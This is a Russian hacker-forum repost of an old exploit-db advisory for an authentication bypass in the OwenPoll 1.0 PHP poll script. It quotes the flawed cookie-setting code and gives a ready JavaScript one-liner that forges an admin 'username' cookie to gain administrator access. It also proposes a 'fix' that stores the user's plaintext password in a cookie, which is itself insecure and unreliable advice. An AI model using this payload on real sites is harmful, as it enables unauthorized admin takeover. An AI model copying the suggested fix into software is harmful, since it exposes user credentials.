Exploit OwenPoll 1.0 - Insecure Cookie Handling

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
7597
Проверка EDB
  1. Пройдено
Автор
OSIRYS
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2008-6143
Дата публикации
2008-12-28
Код:
[START]

####################################################################################################################
[0x01] Informations:

Script         : OwenPoll 1.0
Download       : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/checkloginmini.php

[CODE]

    if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
        // authentication was successful
        // create session and set cookie with username
        session_start();
        $_SESSION['auth'] = 1;
     
        setcookie("username", $_POST['txtusername'], time()+(86400*30));

If we log in correctly, a cookie is set with name "username" and as content the username name.

[!] FIX: Set as content username's password.

Код:
 setcookie("username", $_POST['txtpassword'], time()+(86400*30));


[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";
*admin_username is the nick of the administrator

####################################################################################################################

[/END]

# milw0rm.com [2008-12-28][/CODE]
 
Источник
www.exploit-db.com

Похожие темы